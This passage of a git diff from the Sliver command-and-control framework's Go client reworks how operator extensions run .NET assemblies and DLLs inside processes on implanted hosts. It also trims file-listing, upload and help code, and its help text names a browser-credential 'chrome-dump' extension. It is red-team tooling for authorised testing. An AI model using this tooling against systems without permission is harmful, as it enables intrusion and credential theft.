-					switch arg.Type {
-					case "int", "short":
-						argFunc = a.Int
-						defaultValue = grumble.Default(0)
-					case "string", "wstring", "file":
-						argFunc = a.String
-						defaultValue = grumble.Default("")
-					}
-					if arg.Optional {
-						argFunc(arg.Name, arg.Desc, defaultValue)
-					} else {
-						argFunc(arg.Name, arg.Desc)
-					}
+		// Have to use a global map here, as passing the extCmd
+		// either by value or by ref fucks things up
+		commandMap[extCmd.Name] = *ext
+		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+		extensionCmd := &grumble.Command{
+			Name:     extCmd.Name,
+			Help:     helpMsg,
+			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+			Run: func(extCtx *grumble.Context) error {
+				con.Println()
+				runExtensionCommand(extCtx, con)
+				con.Println()
+				return nil
+			},
+			Flags: func(f *grumble.Flags) {
+				if extCmd.IsAssembly {
+					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 				}
-			} else {
+				f.String("p", "process", "", "Path to process to host the shared object")
+				f.Bool("s", "save", false, "Save output to disk")
+				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			},
+			Args: func(a *grumble.Args) {
 				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			}
-		},
-		HelpGroup: consts.ExtensionHelpGroup,
+			},
+			HelpGroup: consts.ExtensionHelpGroup,
+		}
+		con.App.AddCommand(extensionCmd)
 	}
-	con.App.AddCommand(extensionCmd)
+	con.PrintInfof("%s extension has been loaded\n", ext.Name)
 }
 
-func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
-
-	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: con.ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("Error: %s", err)
-		return
-	}
-
-	if extList.Response != nil && extList.Response.Err != "" {
-		con.PrintErrorf("Error: %s", extList.Response.Err)
-		return
-	}
-	if len(extList.Names) > 0 {
-		con.PrintInfof("Loaded extensions:\n")
-		for _, ext := range extList.Names {
-			con.Printf("- %s\n", ext)
-		}
-	}
-}
-
-func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
-	var extensionList []string
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
-	if err != nil {
-		return err
-	}
-	// Try to find the extension in the loaded extensions
-	if len(session.Extensions) == 0 {
-		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-			Request: con.ActiveSession.Request(ctx),
-		})
-		if err != nil {
-			con.PrintErrorf("Error: %s\n", err.Error())
-			return err
-		}
-		if extList.Response != nil && extList.Response.Err != "" {
-			return errors.New(extList.Response.Err)
-		}
-		extensionList = extList.Names
-	} else {
-		extensionList = session.Extensions
-	}
-	depLoaded := false
-	for _, extName := range extensionList {
-		if !depLoaded && extName == ext.DependsOn {
-			depLoaded = true
-		}
-		if ext.Name == extName {
-			return nil
-		}
-	}
-	// Extension not found, let's load it
-	if filepath.Ext(binPath) == ".o" {
-		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
-		// Auto load the coff loader if we have it
-		if !depLoaded {
-			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
-				return errLoad
-			}
-		}
-		return nil
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		return err
-	}
-	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
-		return errRegister
-	}
-	// Update session info
-	if filepath.Ext(binPath) != ".o" {
-		// Don't update session for BOFs, we don't cache them
-		// on the implant side (yet)
-		// update the Session info
-		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-			Extensions: extensionList,
-			SessionID:  session.ID,
-		})
-		if err != nil {
-			con.PrintErrorf("Error: %s\n", err.Error())
-			return err
-		}
-	}
-	return nil
-}
-
-func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
-	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
-		Name:    ext.Name,
-		Data:    binData,
-		OS:      session.OS,
-		Init:    ext.Init,
-		Request: con.ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		return err
-	}
-	if registerResp.Response != nil && registerResp.Response.Err != "" {
-		return errors.New(registerResp.Response.Err)
-	}
-	return nil
-}
-
-func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
-	depExt, f := commandMap[depName]
-	if f {
-		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
-		if err != nil {
-			return err
-		}
-		depBinData, err := ioutil.ReadFile(depBinPath)
-		if err != nil {
-			return err
-		}
-		return registerExtension(con, &depExt, depBinData, session, ctx)
-	}
-	return fmt.Errorf("missing dependency %s", depName)
-}
-
-func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var (
-		callExtension *sliverpb.CallExtension
-		err           error
-		extensionArgs []byte
-		extName       string
-		entryPoint    string
-	)
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
 	ext, ok := commandMap[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	if err = loadExtension(ctx, session, con, &ext); err != nil {
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 
+	c, err := ext.getCommandFromName(ctx.Command.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := c.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = c.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -314,142 +245,86 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 	}
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	isBOF := filepath.Ext(binPath) == ".o"
-
-	// BOFs (Beacon Object Files) are a specific kind of extensions
-	// that require another extension (a COFF loader) to be present.
-	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
-	// This block will pack both the BOF data and its arguments into a single buffer that
-	// the loader will extract and load.
-	if isBOF {
-		// Beacon Object File -- requires a COFF loader
-		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
+	if c.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveSession.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
 		if err != nil {
-			con.PrintErrorf("Error: %s\n", err)
+			con.PrintErrorf("%s\n", err)
 			return
 		}
-		extName = ext.DependsOn
-		entryPoint = commandMap[extName].Entrypoint // should exist at this point
-	} else {
-		// Regular DLL
-		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
-		extensionArgs = []byte(extArgs)
-		extName = ext.Name
-		entryPoint = ext.Entrypoint
-	}
-	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
-	con.SpinUntil(msg, ctrl)
-	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
-		Name:    extName,
-		Export:  entryPoint,
-		Args:    extensionArgs,
-		Request: con.ActiveSession.Request(ctx),
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		con.PrintErrorf("Error: %s\n", err.Error())
-		return
-	}
-	if callExtension.Response != nil && callExtension.Response.Err != "" {
-		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
-		return
-	}
-	con.PrintInfof("Successfully executed %s\n", extName)
-	if len(callExtension.Output) > 0 {
-		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
 		if outFilePath != nil {
-			outFilePath.Write(callExtension.Output)
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if c.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  c.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
 			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 		}
 	}
 }
 
-func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
-	var extensionArgs []byte
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		return nil, err
-	}
-	argsBuffer := BOFArgsBuffer{
-		Buffer: new(bytes.Buffer),
-	}
-	// Parse BOF arguments from grumble
-	for _, arg := range ext.Arguments {
-		switch arg.Type {
-		case "int":
-			val := ctx.Args.Int(arg.Name)
-			err = argsBuffer.AddInt(uint32(val))
-			if err != nil {
-				return nil, err
-			}
-		case "short":
-			val := ctx.Args.Int(arg.Name)
-			err = argsBuffer.AddShort(uint16(val))
-			if err != nil {
-				return nil, err
-			}
-		case "string":
-			val := ctx.Args.String(arg.Name)
-			err = argsBuffer.AddString(val)
-			if err != nil {
-				return nil, err
-			}
-		case "wstring":
-			val := ctx.Args.String(arg.Name)
-			err = argsBuffer.AddWString(val)
-			if err != nil {
-				return nil, err
-			}
-		// Adding support for filepaths so we can
-		// send binary data like shellcodes to BOFs
-		case "file":
-			val := ctx.Args.String(arg.Name)
-			data, err := ioutil.ReadFile(val)
-			if err != nil {
-				return nil, err
-			}
-			err = argsBuffer.AddData(data)
-			if err != nil {
-				return nil, err
-			}
-		}
-	}
-	parsedArgs, err := argsBuffer.GetBuffer()
-	if err != nil {
-		return nil, err
-	}
-	// Now build the extension's argument buffer
-	extensionArgsBuffer := BOFArgsBuffer{
-		Buffer: new(bytes.Buffer),
-	}
-	err = extensionArgsBuffer.AddString(ext.Entrypoint)
-	if err != nil {
-		return nil, err
-	}
-	err = extensionArgsBuffer.AddData(binData)
-	if err != nil {
-		return nil, err
-	}
-	err = extensionArgsBuffer.AddData(parsedArgs)
-	if err != nil {
-		return nil, err
-	}
-	extensionArgs, err = extensionArgsBuffer.GetBuffer()
-	if err != nil {
-		return nil, err
-	}
-	return extensionArgs, nil
-
-}
-
 func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
@@ -460,66 +335,5 @@ func cmdExists(name string, app *grumble.App) bool {
 }
 
 func init() {
-	commandMap = make(map[string]extensionCommand)
-}
-
-// BOF Specific code
-
-type BOFArgsBuffer struct {
-	Buffer *bytes.Buffer
-}
-
-func (b *BOFArgsBuffer) AddData(d []byte) error {
-	dataLen := uint32(len(d))
-	err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
-	if err != nil {
-		return err
-	}
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddShort(d uint16) error {
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddInt(d uint32) error {
-	return binary.Write(b.Buffer, binary.LittleEndian, &d)
-}
-
-func (b *BOFArgsBuffer) AddString(d string) error {
-	stringLen := uint32(len(d)) + 1
-	err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
-	if err != nil {
-		return err
-	}
-	dBytes := append([]byte(d), 0x00)
-	return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
-}
-
-func (b *BOFArgsBuffer) AddWString(d string) error {
-	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
-	strBytes := append([]byte(d), 0x00)
-	utf16Data, err := encoder.Bytes(strBytes)
-	if err != nil {
-		return err
-	}
-	stringLen := uint32(len(utf16Data))
-	err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
-	if err != nil {
-		return err
-	}
-	return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
-}
-
-func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
-	outBuffer := new(bytes.Buffer)
-	err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
-	if err != nil {
-		return nil, err
-	}
-	err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
-	if err != nil {
-		return nil, err
-	}
-	return outBuffer.Bytes(), nil
+	commandMap = make(map[string]extension)
 }

client/command/filesystem/ls.go

@@ -22,11 +22,8 @@ import (
 	"bytes"
 	"context"
 	"fmt"
-	"path/filepath"
-	"sort"
 	"strings"
 	"text/tabwriter"
-	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -43,45 +40,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	remotePath := ctx.Args.String("path")
-	filter := ""
-
-	/*
-		Check to see if the remote path is a filter or contains a filter.
-		If the path passes the test to be a filter, then it is a filter
-		because paths are not valid filters.
-	*/
-	if remotePath != "." {
-
-		// Check if the path contains a filter
-		// Test on a standardized version of the path (change any \ to /)
-		testPath := strings.Replace(remotePath, "\\", "/", -1)
-		/*
-			Cannot use the path or filepath libraries because the OS
-			of the client does not necessarily match the OS of the
-			implant
-		*/
-		lastSeparatorOccurence := strings.LastIndex(testPath, "/")
-
-		if lastSeparatorOccurence == -1 {
-			// Then this is only a filter
-			filter = remotePath
-			remotePath = "."
-		} else {
-			// Then we need to test for a filter on the end of the string
-
-			// The indicies should be the same because we did not change the length of the string
-			baseDir := remotePath[:lastSeparatorOccurence]
-			potentialFilter := remotePath[lastSeparatorOccurence+1:]
-
-			_, err := filepath.Match(potentialFilter, "")
-
-			if err == nil {
-				// Then we have a filter on the end of the path
-				remotePath = baseDir
-				filter = potentialFilter
-			}
-		}
-	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveSession.Request(ctx),
@@ -90,92 +48,22 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
 	} else {
-		PrintLs(ls, con, ctx.Flags, filter)
+		PrintLs(ls, con)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
+func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
 	con.Printf("%s\n", ls.Path)
 	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Extract the flags
-	reverseSort := flags.Bool("reverse")
-	sortByTime := flags.Bool("modified")
-	sortBySize := flags.Bool("size")
-
-	/*
-		By default, name sorting is case sensitive.  Upper case entries come before
-		lower case ones.  Instead, we will level the playing field and sort
-		regardless of case
-	*/
-	if reverseSort {
-		sort.SliceStable(ls.Files, func(i, j int) bool {
-			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
-		})
-	} else {
-		sort.SliceStable(ls.Files, func(i, j int) bool {
-			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
-		})
-	}
-
-	/*
-		After names are sorted properly, take care of the modified time if the
-		user wants to sort by time.  Doing this after sorting by name
-		will make the time sorted entries properly sorted by name if times are equal.
-	*/
-
-	if sortByTime {
-		if reverseSort {
-			sort.SliceStable(ls.Files, func(i, j int) bool {
-				return ls.Files[i].ModTime > ls.Files[j].ModTime
-			})
-		} else {
-			sort.SliceStable(ls.Files, func(i, j int) bool {
-				return ls.Files[i].ModTime < ls.Files[j].ModTime
-			})
-		}
-	} else if sortBySize {
-		if reverseSort {
-			sort.SliceStable(ls.Files, func(i, j int) bool {
-				return ls.Files[i].Size > ls.Files[j].Size
-			})
-		} else {
-			sort.SliceStable(ls.Files, func(i, j int) bool {
-				return ls.Files[i].Size < ls.Files[j].Size
-			})
-		}
-	}
-
 	for _, fileInfo := range ls.Files {
-		if filter != "" {
-			fileMatch, err := filepath.Match(filter, fileInfo.Name)
-
-			if err != nil {
-				/*
-					This should not happen because we checked the filter
-					before reaching out to the implant.
-				*/
-				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
-				break
-			}
-
-			if !fileMatch {
-				continue
-			}
-		}
-
-		modTime := time.Unix(fileInfo.ModTime, 0)
-		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
-		modTime = modTime.In(implantLocation)
-
 		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
 		}
 	}
 	table.Flush()

client/command/filesystem/upload.go

@@ -41,7 +41,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	localPath := ctx.Args.String("local-path")
 	remotePath := ctx.Args.String("remote-path")
-	isIOC := ctx.Flags.Bool("ioc")
 
 	if localPath == "" {
 		con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -71,7 +70,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Path:    dst,
 		Data:    uploadGzip,
 		Encoder: "gzip",
-		IsIOC:   isIOC,
 	})
 	ctrl <- true
 	<-ctrl

client/command/generate/generate.go

@@ -82,6 +82,31 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
+
+	// validFormats = []string{
+	// 	"bash",
+	// 	"c",
+	// 	"csharp",
+	// 	"dw",
+	// 	"dword",
+	// 	"hex",
+	// 	"java",
+	// 	"js_be",
+	// 	"js_le",
+	// 	"num",
+	// 	"perl",
+	// 	"pl",
+	// 	"powershell",
+	// 	"ps1",
+	// 	"py",
+	// 	"python",
+	// 	"raw",
+	// 	"rb",
+	// 	"ruby",
+	// 	"sh",
+	// 	"vbapplication",
+	// 	"vbscript",
+	// }
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -324,11 +349,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
 
 	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
 	if _, ok := SupportedCompilerTargets[target]; !ok {
-		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
+		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
 			console.Bold, target, console.Normal,
 		)
-		con.Printf("⚠️  Generic implants do not support all commands/features.\n")
-		prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
+		con.Printf("⚠️  Default implants do not support all commands/features.\n")
+		prompt := &survey.Confirm{Message: "Compile a Default build?"}
 		var confirm bool
 		survey.AskOne(prompt, &confirm)
 		if !confirm {

client/command/help/help.go

@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.LoadMacroStr:        loadMacrosHelp,
+		consts.LoadExtensionStr:    loadExtensionHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -89,7 +89,6 @@ var (
 		consts.WgSocksStr:                   wgSocksHelp,
 		consts.SSHStr:                       sshHelp,
 		consts.DLLHijackStr:                 dllHijackHelp,
-		consts.GetPrivsStr:                  getPrivsHelp,
 
 		// Loot
 		consts.LootStr: lootHelp,
@@ -236,31 +235,7 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
-
-[[.Bold]][[.Underline]]Sorting[[.Normal]]
-Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
-
-[[.Bold]][[.Underline]]Filters[[.Normal]]
-Filters are a way to limit search results to directory and file names matching given criteria.
-
-Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
-/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
-
-Directory and file listings can be filtered using the following patterns:
-'*': Wildcard, matches any sequence of non-path separators (slashes)
-	Example: n*.txt will match all file and directory names starting with n and ending with .txt
-
-'?': Single character wildcard, matches a single non-path separator (slashes)
-	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
-
-'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
-	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
-		^[r-u] will match all characters except r, s, t, and u.
-
-If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
-On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
-`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
 [[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -370,21 +345,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
-[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
-Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
-For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
-Load an macro:
+	loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path> 
+[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
+Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
+For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
+Load an extension:
 	load /tmp/chrome-dump
-Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
+Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
 chrome-dump
 ├── chrome-dump.dll
 ├── chrome-dump.so
 └── manifest.json
 It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
 {
-  "macroName":"chrome-dump", // name of the macro, can be anything
-  "macroCommands":[
+  "extensionName":"chrome-dump", // name of the extension, can be anything
+  "extensionCommands":[
     {
       "name":"chrome-dump", // name of the command available in the sliver client (no space)
       "entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -396,7 +371,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
 		  "os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
           "files":{
             "x64":"chrome-dump.dll",
-            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
+            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
           }
         },
         {
@@ -583,10 +558,7 @@ loot fetch
 `
 
 	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
-[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
-reactions do not support variables or logic, they simply allow you to run verbatim
-commands when an event occurs. To implement complex event-based logic we recommend
-using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
 
 [[.Bold]]Reactable Events:[[.Normal]]
 % 20s  Triggered when a new session is opened to a target
@@ -607,11 +579,7 @@ using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
 	)
 
 	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
-[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).  
-
-The built-in reactions do not support variables or logic, they simply allow you to 
-run verbatim commands when an event occurs. To implement complex event-based logic 
-we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
 
 [[.Bold]]Examples:[[.Normal]]
 # The command uses interactive menus to build a reaction. Simply run:

client/command/hosts/README.md

@@ -1,4 +0,0 @@
-Hosts
-======
-
-Command to access and manage host information.

client/command/hosts/hosts-ioc.go

@@ -1,107 +0,0 @@
-package hosts
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"fmt"
-	"sort"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// HostsIOCCmd - Remove a host from the database
-func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	host, err := SelectHost(con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if 0 < len(host.IOCs) {
-		con.Printf("%s\n", hostIOCsTable(host, con))
-	} else {
-		con.Println()
-		con.PrintInfof("No IOCs tracked on host\n")
-	}
-}
-
-func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
-	tw := table.NewWriter()
-	tw.SetStyle(table.StyleBold)
